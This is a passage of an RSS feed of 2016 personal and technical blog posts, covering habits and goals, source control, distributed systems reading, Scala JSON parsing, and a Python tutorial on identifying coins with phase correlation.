&lt;p&gt;And boom. There’s something to write about off of two random words.&lt;/p&gt;

&lt;p&gt;PS Why is embracing constraints on my mind? I’m trying to get better at doing just a few things, not all the things.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 21 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/21/constraints/</guid></item><item><title>Keep Everything in Source Control</title><link>https://www.craigpardey.com/post/2016-05-21-everything-in-vcs/</link><description>&lt;blockquote&gt;
&lt;p&gt;Me: Why is this report different to the one in production?
SysAdmin: Dunno. I guess they must have fixed it production and forgot to check it back into source control.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If I had a dollar for every time I&amp;rsquo;ve had that conversation I&amp;rsquo;d be a rich man.  It is usually the result of some late-night troubleshooting and finally the system is working as expected and everyone goes to bed. But the next day, nobody remembers what exactly they changed that fixed the problem, nor do they spend the time to figure it out and get it back into source control.  Worse yet, they were making untested changes in a live environment - &lt;em&gt;that shouldn&amp;rsquo;t be possible!&lt;/em&gt;.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Sat, 21 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-05-21-everything-in-vcs/</guid></item><item><title>More Victoria Line output</title><link>https://rjp.is/blogging/posts/more-victoria-line-output-2/</link><description>More ambient drones from the Victoria Line samples provided by TFL/Matt Rogers.</description><author>infrequent oscillations</author><pubDate>Fri, 20 May 2016 12:16:52 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/more-victoria-line-output-2/</guid></item><item><title>Lay a foundation</title><link>https://josh.works/growth/2016/05/20/lay-a-foundation/</link><description>&lt;p&gt;Yesterday I mentioned that
&lt;a href="/advantage-of-low-friction-goals"&gt;low friction goals are an advantage&lt;/a&gt; over “high friction” goals.&lt;/p&gt;

&lt;p&gt;This is just another way of saying “easy things are easier to do than harder things”. Revelatory, I know.&lt;/p&gt;

&lt;p&gt;Similarly,
&lt;a href="/intentional-habit-building"&gt;I wrote a long time ago that&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;We tell ourselves we can’t accomplish goals because we don’t have enough motivation, but this is far too simple of an explanation… it must be useful to fail during your attempt, and you must not try very hard.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In other words, big grand goals are great, but expect that you will not successfully execute on them all. Plan to fail the primary task, and in doing so, you’ll gain information that will make your second attempt that much better.&lt;/p&gt;

&lt;p&gt;I don’t know that I’ve learned a lot from the things I’ve failed to execute on. I certainly have not reduced the size and scope of my projects, but I’m getting a bit more thoughtful about them. For example, I’m working now in 30 day chunks. A project (like budgeting) is much more approachable when you’re doing it for just 29 or 30 days.&lt;/p&gt;

&lt;p&gt;Anyway, that’s part of what this writing has been about. I had a lot in my head I wanted to get out, so I said “I’ll publish something every day, and I won’t queue anything in advance.”&lt;/p&gt;

&lt;p&gt;I’m writing, my idea-muscles are getting some exercise, and I’m laying a foundation for my next projects. Hopefully, throughout it all, I’ll be able to share useful things.&lt;/p&gt;

&lt;p&gt;All in all, a good use of a few minutes every day.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Further Reading:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://sethgodin.typepad.com/seths_blog/2011/09/talkers-block.html"&gt;Seth Godin on writing every day&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.jamesaltucher.com/2014/05/the-ultimate-guide-for-becoming-an-idea-machine/"&gt;James Altucher, How to become an idea machine&lt;/a&gt; (Very long post)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.jamesaltucher.com/2012/05/10-rules-about-blogging/"&gt;James Altucher, 10 rules&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Fri, 20 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/20/lay-a-foundation/</guid></item><item><title>9 to 5</title><link>https://venam.net/blog/philosophy/2016/05/20/passion.html</link><description>I find it fervently infuriating when someone uses the word passion and degrades it. They degrade the meaning of the word. Passion is the ultimate upgrade of the hobby, a cultivated curiosity. Something you're currently dedicating your life to. You diminish it when blurting that a person that doesn't spend any time outside the "obligatory work hours" on his passion, not even a thought, to be passionate. What is passion if it's not thinking and living what you love.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Thu, 19 May 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/philosophy/2016/05/20/passion.html</guid></item><item><title>Disrupting Open Source - The Story of Fine Uploader</title><link>https://medium.com/@RayNicholus/disrupting-open-source-the-story-of-fine-uploader-80160eb557d9#.8ft3mq1b1</link><description>This is the story of my involvement with Fine Uploader, how it changed my life, how it affected those around me and my peers at Widen, and how I hope it can continue to have a positive net effect on the open source community and individual developers.</description><author>Train of Thought</author><pubDate>Thu, 19 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/@RayNicholus/disrupting-open-source-the-story-of-fine-uploader-80160eb557d9#.8ft3mq1b1</guid></item><item><title>The advantage of low friction goals</title><link>https://josh.works/advantage-of-low-friction-goals</link><description>&lt;p&gt;If you have a project, make it easy to take small steps.&lt;/p&gt;

&lt;p&gt;I’m trying to publish something every day for a month.&lt;/p&gt;

&lt;p&gt;Normally, I would sit down at my computer, open a text editor, write
something, the copy it into Squarespace, and customize the post from there.&lt;/p&gt;

&lt;p&gt;“Customization” means:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;create a reasonable URL&lt;/li&gt;
  &lt;li&gt;create a post excerpt&lt;/li&gt;
  &lt;li&gt;instruct squarespace to post a link to Twitter and Facebook&lt;/li&gt;
  &lt;li&gt;hit publish&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead, today, I wrote this on my phone, in an email to a “email to post”
email address.&lt;/p&gt;

&lt;p&gt;It’s low friction, and I’ll fix the url later.&lt;/p&gt;

&lt;p&gt;Easy things are more likely to get done than hard things.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 19 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/advantage-of-low-friction-goals</guid></item><item><title>Birthday Bash: Providing Bash with a bit more pizazz</title><link>https://joshuarogers.net/articles/2016-05/birthday-bash/</link><description>Today I turn 31. Before the day is through, I'll have ended up celebrating with family and coworkers. And Bash, because as it turns out, Bash can be a bit festive.
I find most default Bash prompts to be rather boring. Sure, they vary from platform to platform, but they all seem a little too lite on info that I care about. A few years ago I decided to liven it up a bit.</description><author>Joshua Rogers</author><pubDate>Wed, 18 May 2016 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2016-05/birthday-bash/</guid></item><item><title>Travel somewhere fun. But first get on Scott's email list</title><link>https://josh.works/misc/2016/05/18/scotts-cheap-flights/</link><description>&lt;p&gt;Most of us have a bucket list item of “travel abroad”, right?&lt;/p&gt;

&lt;p&gt;It gets harder to realize once you start looking through flight prices, though. If you and your significant other want to head to Europe or Asia, you might be dropping $2500, minimum, for the both of you.&lt;/p&gt;

&lt;p&gt;That’s expensive, especially because you will need to spend more money once you arrive.&lt;/p&gt;

&lt;p&gt;So, lets get your flights way cheaper, OK?&lt;/p&gt;

&lt;h2 id="scotts-cheap-flights-list"&gt;Scotts Cheap Flights List&lt;/h2&gt;

&lt;p&gt;This guy 
&lt;a href="https://scottscheapflights.com/"&gt;Scott&lt;/a&gt; sends out emails when he finds “mistake fares” from the USA to other parts of the world. There’s lots of these, but when one pops up, the offer is usually gone in a few hours or a few days.&lt;/p&gt;

&lt;p&gt;For example, here’s round-trip to Asia, from all over the USA, for $400-600 USD. That’s a great price.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Scotts Cheap Flights, a deal from USA&amp;gt;Asia&amp;gt;USA" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_573cd733ab48de9ba0ab73f7_1463605048167_mistake_fare__all_over_US_Canada_to_Asia_for__446__roundtrip__-_thompsonjoshd_gmail_com_-_Gmail.jpg_" /&gt; Scotts Cheap Flights, a deal from USA&amp;gt;Asia&amp;gt;USA&lt;/p&gt;

&lt;p&gt;Here’s the full email: 
&lt;a href="https://litmus.com/scope/knykygpttrg0"&gt;https://litmus.com/scope/knykygpttrg0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;His “premium” list is $30/year, but he’s got a free list that you should sign up at. (When you first punch in your email, you get the free stuff. You can upgrade later if you want.)&lt;/p&gt;

&lt;p&gt;A quick example of how popular this is: I shared this around Litmus, and in the last two weeks or so, a total of ten people have purchased a flight thanks to Scotts list.&lt;/p&gt;

&lt;p&gt;If you want to travel, get on his list: 
&lt;a href="https://scottscheapflights.com/"&gt;https://scottscheapflights.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;
 Flights and travel take money. You need to have money to travel. Here we touch on the delicate third rail of the world: finances. I strongly recommend browsing around 
&lt;a href="http://www.youneedabudget.com/blog/category/popular"&gt;YNAB&lt;/a&gt; and getting inspired to own your finances. (Otherwise, they might own you.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PPS&lt;/strong&gt;
 I don’t do affiliate links.&lt;/p&gt;

&lt;h3 id="resources"&gt;Resources:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://scottscheapflights.com/"&gt;Scotts Cheap Flights&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://www.youneedabudget.com/blog/category/popular"&gt;You Need a Budget&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Wed, 18 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/misc/2016/05/18/scotts-cheap-flights/</guid></item><item><title>Input metrics vs. Output metrics</title><link>https://josh.works/growth/2016/05/17/input-metrics-vs-output-metrics/</link><description>&lt;p&gt;It’s tempting to track results, when trying to accomplish something.&lt;/p&gt;

&lt;p&gt;If you’re working on any project of sufficient size, the results will come
slowly, fitfully, and sometimes not at all.&lt;/p&gt;

&lt;p&gt;So, don’t track results, track your efforts. (Yes, how very American of me.
I don’t believe in participation awards, or helicopter parenting, etc. Bear
with me.)&lt;/p&gt;

&lt;p&gt;Time box your efforts (one month is a nice period of time) and then do your
“input” for one month. At the end of the month, step back and look for the
results.&lt;/p&gt;

&lt;p&gt;But don’t do the thing a few times, and expect results quickly. That’s an
easy way to get frustrated.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 17 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/17/input-metrics-vs-output-metrics/</guid></item><item><title>Fermat's Enigma</title><link>https://olshansky.info/book/fermats_enigma/</link><description>Olshansky's review of Fermat's Enigma by Simon Singh</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 17 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/fermats_enigma/</guid></item><item><title>How I became a compulsive math problem solver</title><link>http://dimitarsimeonov.com/2016/05/17/how-i-became-a-compulsive-math-problem-solver</link><description>&lt;p&gt;In high school I did well in math competitions and even qualified for
the national team.&lt;/p&gt;

&lt;p&gt;Part of the reason was that I spend a bunch of time on my own solving
math problems. It didn’t feel like a compulsory work. Instead, it was
often a compulsive behavior for me. I was often unable to un-glue
myself from the math problem at hand.&lt;/p&gt;

&lt;p&gt;When I saw a good problem, I attempted to solve it. The easier ones I
could solve quickly. But some of them only gave in after hours of
trying different approaches and strategies. It felt fantastic to solve
a hard math problem. It was a puzzle, and I enjoyed solving it.&lt;/p&gt;

&lt;p&gt;In the typical math problem, there were several facts given. An
example problem might be:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Problem 1.&lt;/em&gt; Let &lt;code class="language-plaintext highlighter-rouge"&gt;a&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;b&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;c&lt;/code&gt; be non-negative. Suppose&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;a^2 + b^2 = c^2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;2b &amp;gt;= c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Prove that&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;3c^2 &amp;lt;= a^2 + (b+c)^2 &amp;lt;= 4c^2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I just made that problem up. But I know it is true, so I’ll let you
try to solve it.&lt;/p&gt;

&lt;p&gt;When solving a problem like that, I am trying to connect the
dots. Here, the dots are, on one side, the two given input conditions,
and on the other side, the output requirement. Solving the math
problem is a sequence of manipulations, trying to bring both sides
them closer to each other. One approach would be to start manipulating
the inputs into a different form, that is closer to the output. Or
manipulate the output bring it closer to the inputs. Or do a
transformation on the problem space into another, more comfortable
space to work in.&lt;/p&gt;

&lt;p&gt;Each of those steps translates the problem into a different problem,
which may be easier, or harder. It may take hours of trying different
transformations until I get on the path to solution, and bring the two
sides of the problem together.&lt;/p&gt;

&lt;p&gt;It is like playing a video game where I’m walking around a maze,
trying to find the right combination of items to unlock the exit
door. I may walk around for hours, without success, but the feeling of
progress fuels me. Every time I collect a new item, every time I think
of a transformation of the problem, I feel that I’m making
progress. Even if that transformation itself is not useful at the end
of the day, I still get the excitement. I’ve discovered a new corridor
in the maze. It is thrilling, what might be inside it. Each of those
thrills helps me sustain my excitement in solving the problem.&lt;/p&gt;

&lt;p&gt;Every new problem is a new maze, a new puzzle to figure out. In the
beginning, the act of exploration was what was thrilling. But after
solving a large number of problems, just the &lt;em&gt;existence&lt;/em&gt; of the maze
was a reason for excitement. Even without having actually tried any
problem solving approaches, I knew that I could try them. I knew that
I could explore, and that I’d discover interesting paths to the
solution.&lt;/p&gt;

&lt;p&gt;Just knowing that this adventure awaits was the reason for me to jump
on it. I had trained myself through repetitive exposure to the
enjoyments of the process of problem solving, to love it.&lt;/p&gt;

&lt;p&gt;The act of fully connecting the dots was the most rewarding part of
the problem solving, but it wasn’t the most accessible. In the long
run, reaching solution was the high octane fuel which fueled my desire
to become better at problem solving and to do more of it.&lt;/p&gt;

&lt;p&gt;But I needed a kindling, a tinder, a fire-starter to get to it. The
fun of the process was part of it, but also the environment I was in
provided additional boost. I was among people who considered math
cool. I liked the competitive feeling of the math olympiads. I liked
traveling to different cities for math competitions, and meeting other
students who enjoyed solving math problems.&lt;/p&gt;

&lt;p&gt;All this encouragement was the catalyst which got me to love solving
math problems so much. It became a self-sustaining habit, to enjoy the
pleasure of math. It became a compulsive behavior, to attempt to solve
a problem whenever I saw an interesting one. This helped me become
good at it.&lt;/p&gt;

&lt;p&gt;Now, I’m looking to become good at writing. Writing helps to clarify
and express my thoughts. I have the intuition that it a great exercise
for my mind. And it feels awesome to complete a nice essay. And it
helps me grow.&lt;/p&gt;

&lt;p&gt;Still, it is not a solid habit yet. I am still adding fire-starters to
it. I have a nice emacs-based writing environment. I reward myself
with coffee when I’m writing. It is trivial for me to post a new essay
to my online collection.&lt;/p&gt;

&lt;p&gt;All these niceties help me reinforce this new habit until it is strong
enough on its own.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 17 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/17/how-i-became-a-compulsive-math-problem-solver</guid></item><item><title>Four easy reads to understand distributed systems issues</title><link>https://blog.separateconcerns.com/2015-07-07-four-easy-reads-distsys.html</link><description>&lt;p&gt;Even among software people, those of us who work with distributed systems and algorithms are sometimes seen as mad scientists. We use words like like consistency, causality, consensus, commutativity, idempotence, immutability and “impossibility theorems”. How come we have to read papers and tear our hair out just to make software run correctly on a few machines? Are we all failed academics incapable of pragmatism?&lt;/p&gt;
&lt;p&gt;I have selected four documents to help you understand the kind of things we spend our days thinking about, the physical limits we work with and the trade-offs we make. You may want to read them, because distribution is becoming the norm rather than the exception, so you may have to think about at least some of those issues sooner than you expected. Those are simple documents that any programmer should be able to read. Only the last one is an actual paper, and it is a simple position paper with no math, I promise.&lt;/p&gt;
&lt;section id="There-is-No-Now"&gt;
&lt;h2&gt;&lt;a href="https://queue.acm.org/detail.cfm?id=2745385"&gt;There is No Now&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Most distributed systems are &lt;strong&gt;asynchronous&lt;/strong&gt;, which means that the usual notion of time does not make sense within them. This article by Justin Sheehy, former Basho CTO (now at VMWare), published in ACM Queue in March 2015, is about that fact and its consequences. It inspired me to make this list, because as soon as I read it my first thought was that I should share it with all of my colleagues and every single person I will ever work with. It introduces two important impossibility theorems (FLP and CAP) and adversarial models, discusses the existence of “reliable” clocks and networks, and touches on some solutions such as consensus protocols and CRDT.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Eventually-Consistent---Revisited"&gt;
&lt;h2&gt;&lt;a href="http://www.allthingsdistributed.com/2008/12/eventually_consistent.html"&gt;Eventually Consistent - Revisited&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This 2008 blog post by Werner Vogel (Amazon CTO) explains the trade-off between availability and consistency, introduces consistency models, and hints at the relationship between the replication factor of data and the level of consistency that can be achieved. If you want to go further after that, you can read the famous Dynamo paper (which is not too complicated), preferably in &lt;a href="http://docs.basho.com/riak/2.0.1/theory/dynamo/"&gt;its version annotated by Basho&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Distributed-systems-for-fun-and-profit"&gt;
&lt;h2&gt;&lt;a href="http://book.mixu.net/distsys/"&gt;Distributed systems for fun and profit&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This document, by Mikito Takada (Trifacta), is longer than the others. It is the best short (meaning: not a whole course or book) introduction to distributed systems I know. In a nutshell, it expands on the ideas presented in the first two documents and gives you most of the necessary concepts and vocabulary to understand actual distributed systems papers, should you want to read them.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Building-on-quicksand"&gt;
&lt;h2&gt;&lt;a href="https://arxiv.org/abs/0909.1788"&gt;Building on quicksand&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I could hardly leave that 2009 paper by Pat Helland and Dave Campbell out of this list. It starts with the idea that, as the distribution of systems increases, latency makes synchronicity intractable and pushes us towards asynchronous designs. The rest of the paper is a discussion of the trade-offs involved. The very interesting idea in that paper (also found in other papers by Pat Helland) is that it all comes down to a problem of risk management and reconciliation. If asynchronous software can not ensure something will happen, it may make a guess and fix the result later if it was wrong. That may include having to make excuses to an actual human being. An important corollary is that the distributed nature of software permeates &lt;a href="http://bravenewgeek.com/distributed-systems-are-a-ux-problem/"&gt;all the way to the user interface&lt;/a&gt; (which is why you may have seen me ranting about how we need to start forming cross-functional teams, with developers who understand UX and designers who get distributed systems).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Bonus:-Why-Logical-Clocks-are-Easy"&gt;
&lt;h2&gt;Bonus: &lt;a href="http://queue.acm.org/detail.cfm?id=2917756"&gt;Why Logical Clocks are Easy&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I said on Hacker News that, if I wrote that article today (in May 2016), I would add this article to the list. I &lt;a href="https://news.ycombinator.com/item?id=11690113"&gt;was advised&lt;/a&gt; to edit the original blog post, so I did.&lt;/p&gt;
&lt;p&gt;Published in April 2016 in ACM Queue, this article by Carlos Baquero and Nuno Preguiça may be the best introduction to causality I know. Causality is a very important concept in distributed systems. In a nutshell, the idea is to answer the question: given two events, could one have influenced the other? In other words: when the entity performing the second event did, dit it have any knowledge that the first happened? This article introduces causality and gives usual ways to represent it in theory, with causal histories, and in practice, with vector clocks and version vectors as well as their dotted variants.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="Conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;When I started programming as a child, I was hooked by the idea that the computer was a perfect machine that, unlike a teacher, would never be unjust: it would work if I got the code right, and if I did not I just had to fix it and try again. Once it worked, it would always work! Everything was reproducible, and all issues could be diagnosed and understood.&lt;/p&gt;
&lt;p&gt;Of course, I grew up and the messy reality caught up with me. I went into distributed systems, which are a lot more like physics than maths. There are laws that govern the world out there, and they are always coming in your way. Everything works as expected, until something unexpected happens. And sometimes, you will not even be able to explain what it was after the fact.&lt;/p&gt;
&lt;p&gt;Distributed systems work is about that adversarial world out there, and how we write programs to cope with it. It is about dealing with the unreliability of clocks, communications, hardware and, sometimes, people. It is about reading papers, drawing diagrams, writing proofs sometimes, and finding solutions to obtain the guarantees we want. More than anything else, distributed systems is the science (or art? or game?) of trade-offs. It is hard, error-prone and &lt;a href="https://aphyr.com/tags/jepsen"&gt;usually broken&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Paxos_%28computer_science%29"&gt;terribly&lt;/a&gt; &lt;a href="https://en.wikipedia.org/wiki/Byzantine_fault_tolerance"&gt;complicated&lt;/a&gt; sometimes, but it is my field, and so far I like it.&lt;/p&gt;
&lt;/section&gt;</description><author>Separate Concerns</author><pubDate>Mon, 16 May 2016 20:20:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2015-07-07-four-easy-reads-distsys.html</guid></item><item><title>Scala Play2: Tolerant JSON body parsing with dedicated error handling</title><link>https://manuel.kiessling.net/2016/05/16/scala-play2-tolerant-json-body-parsing-with-dedicated-error-handling/</link><description>I'm currently rewriting a Scala Play2 based web service that employs the following body parser:  def tolerantJsonParser[A](implicit reader: Reads[A]): BodyParser[A] = parse.tolerantJson.validate(json = json.validate[A].asEither.left.map(err = Results.BadRequest) )(play.api.libs.iteratee.Execution.Implicits.trampoline) def doSomething = Action.async(tolerantJsonParser[SomeThing]) { request = val someThing: SomeThing = request.body ...  Not shown here is the implicit Reads that takes care of transforming the Json object into an object of case class SomeThing when the json.validate method is called.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Mon, 16 May 2016 18:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2016/05/16/scala-play2-tolerant-json-body-parsing-with-dedicated-error-handling/</guid></item><item><title>Counting Money</title><link>https://nickp.svbtle.com/counting-money</link><description>&lt;p&gt;This post is based on a question from the Challenge 24 competition in 2016 where we were given a photograph of each of the denominations of Hungarian currency, called &lt;a href="https://en.wikipedia.org/wiki/Hungarian_forint"&gt;Forints&lt;/a&gt;. In addition given a number of photos of piles of coins (some of them counterfeit) and we had to compute the total value of money automatically.   &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/nxryj57tp3nprg.jpg"&gt;&lt;img alt="coins.jpg" src="https://svbtleusercontent.com/nxryj57tp3nprg_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First let’s look at the template and see how we can easily extract the location of the clean coins. A flood fill can compute the &lt;a href="https://en.wikipedia.org/wiki/Connected_component_(graph_theory)#Algorithms"&gt;connected components&lt;/a&gt; using a BFS which runs quickly enough and since the images is quite clear we can just iterate through each unvisited non-white pixel and for each start a new component and flood out to all connected pixels that aren’t white. Here’s the code:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;import cv2
from itertools import product 

def flood_fill(img):

    rows, cols = img.shape

    components = {}
    component_id = -1
    seen = set()

    for (r, c) in product(range(rows), range(cols)):
        if inside(r, c, img, seen):

            component_id += 1
            components[component_id] = []
            q = [(r, c)]
            seen.add((r, c))

            while len(q) != 0:

                cr, cc = q.pop()
                components[component_id].append((cr, cc))

                for (dr, dc) in product([-1, 0, 1], repeat=2):

                        nr, nc = cr + dr, cc + dc

                        if inside(nr, nc, img, seen):
                            seen.add((nr, nc))
                            q.append((nr, nc))
    return components
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The results look good and it cleanly picks out the backs and fronts of each coin in the template:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/2k5kb2hrtnzycg.jpg"&gt;&lt;img alt="a.jpg" src="https://svbtleusercontent.com/2k5kb2hrtnzycg_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have all the templates we need to find matches of them in images like this, which we will call background images:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/fzsliralkqymyg.jpg"&gt;&lt;img alt="coins.jpg" src="https://svbtleusercontent.com/fzsliralkqymyg_small.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Matching coins in images is often presented as an example of image processing algorithms in particular &lt;a href="http://scikit-image.org/docs/dev/user_guide/tutorial_segmentation.html"&gt;segmentation&lt;/a&gt; and the &lt;a href="http://docs.opencv.org/master/d3/db4/tutorial_py_watershed.html#gsc.tab=0"&gt;watershed&lt;/a&gt; algorithm. There are a couple of things that make this deceptively difficult in this case though. The first is that we aren’t just detecting or counting the coins we actually need to know which denomination each one is so we can total the amount. The second is that the coins can occlude one another so you may only see part of a coin. Finally the coins can each be arbitrarily rotated and fakes coins can appear that are larger or smaller than the originals - these need to be discounted.&lt;/p&gt;

&lt;p&gt;There are a few ways of matching templates in an image. One way is to look at the cross-correlation of the two images at different points. You can think of this as sliding the template image row by row, column by column over the background image and at each location measuring how much the two images correlate. So we are looking for the offset that corresponds to the maximum correlation. The problem with this method is that it is super slow especially if the images are large or (like in this case) there are multiple templates to match and we are looking for the best match. We can solve this much faster in the frequency-domain using something called &lt;a href="https://en.wikipedia.org/wiki/Phase_correlation"&gt;phase correlation&lt;/a&gt;. This is the same cross-correlation technical but also isolates the phase information. If &lt;code class="prettyprint"&gt;Ga&lt;/code&gt; and &lt;code class="prettyprint"&gt;Gb&lt;/code&gt; are the Fourier transforms of the template and background images respectively and &lt;code class="prettyprint"&gt;Ga*&lt;/code&gt; and &lt;code class="prettyprint"&gt;Gb*&lt;/code&gt; are their copmlex conjugates we can compute this as:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/hki799qx9hvwma.png"&gt;&lt;img alt="88357aa1d55f79979d1f88b5c6a2678f.png" src="https://svbtleusercontent.com/hki799qx9hvwma_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;and retrieve a normalized (important because there are multiple templates to match) cross-correlation by taking the real component of the inverse Fourier transform of this. Here’s some code that computes the location of the peak of the phase correlation which corresponds to the translation by which the template is off the background image.  This process is called &lt;a href="https://en.wikipedia.org/wiki/Image_registration"&gt;image registration&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def find_translation(background, template):
    from numpy import fft2, ifft2, real, abs, where

    br, bc = background.shape
    tr, tc = template.shape

    Ga = fft2(background)
    Gb = fft2(template, (br, bc))

    R = Ga * conj(Gb)

    pc = ifft2(R / abs(R))
    pc = real(pc)

    peak = pc.max()
    translation = where( pc == peak)

    return translation
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Running phase correlation for each template iteratively and selecting the highest peak seems to perform well and we are able to correctly register all the coins both back and front in addition to the occluded coins:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/sexg2j8s0v4nig.png"&gt;&lt;img alt="3.png.progress17.png" src="https://svbtleusercontent.com/sexg2j8s0v4nig_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This seems to work pretty well and picks out the images however it can’t handle coins that are scaled or rotated. Rotation is actually quite a complex operation if you look at the movement of pixels. Let’s try rearranging the pixels in the image in such a such that they change more predictably when the image is scaled and rotated. We can use some kind of conformal mapping. These are functions that preserve angles in the Euclidean plane and one of the most common is the log-polar transform. Here’s a basic implementation of the log-polar transform:&lt;/p&gt;

&lt;pre&gt;&lt;code class="prettyprint lang-python"&gt;def log_polar(image):
    from scipy.ndimage.interpolation import map_coordinates

    r, c = image.shape
    coords = scipy.mgrid[0:max(image.shape)*2,0:360]

    log_r = 10**(coords[0,:]/(r*2.)*log10(c))
    angle = 2.*pi*(coords[1,:]/360.)
    center = (log_r*cos(angle)+r/2.,log_r*sin(angle)+c/2.)

    ret = map_coordinates(image,center,order=3,mode='constant')
    return cv2.resize(ret, image.shape)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here are the resulting log-polar transforms of a few images as they rotate. What’s useful to note here is what happens to horizontal, vertical and radial lines. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/hcmss8jqvda.gif"&gt;&lt;img alt="output_OHcilz.gif" src="https://svbtleusercontent.com/hcmss8jqvda_small.gif" /&gt;&lt;/a&gt;&lt;/p&gt;

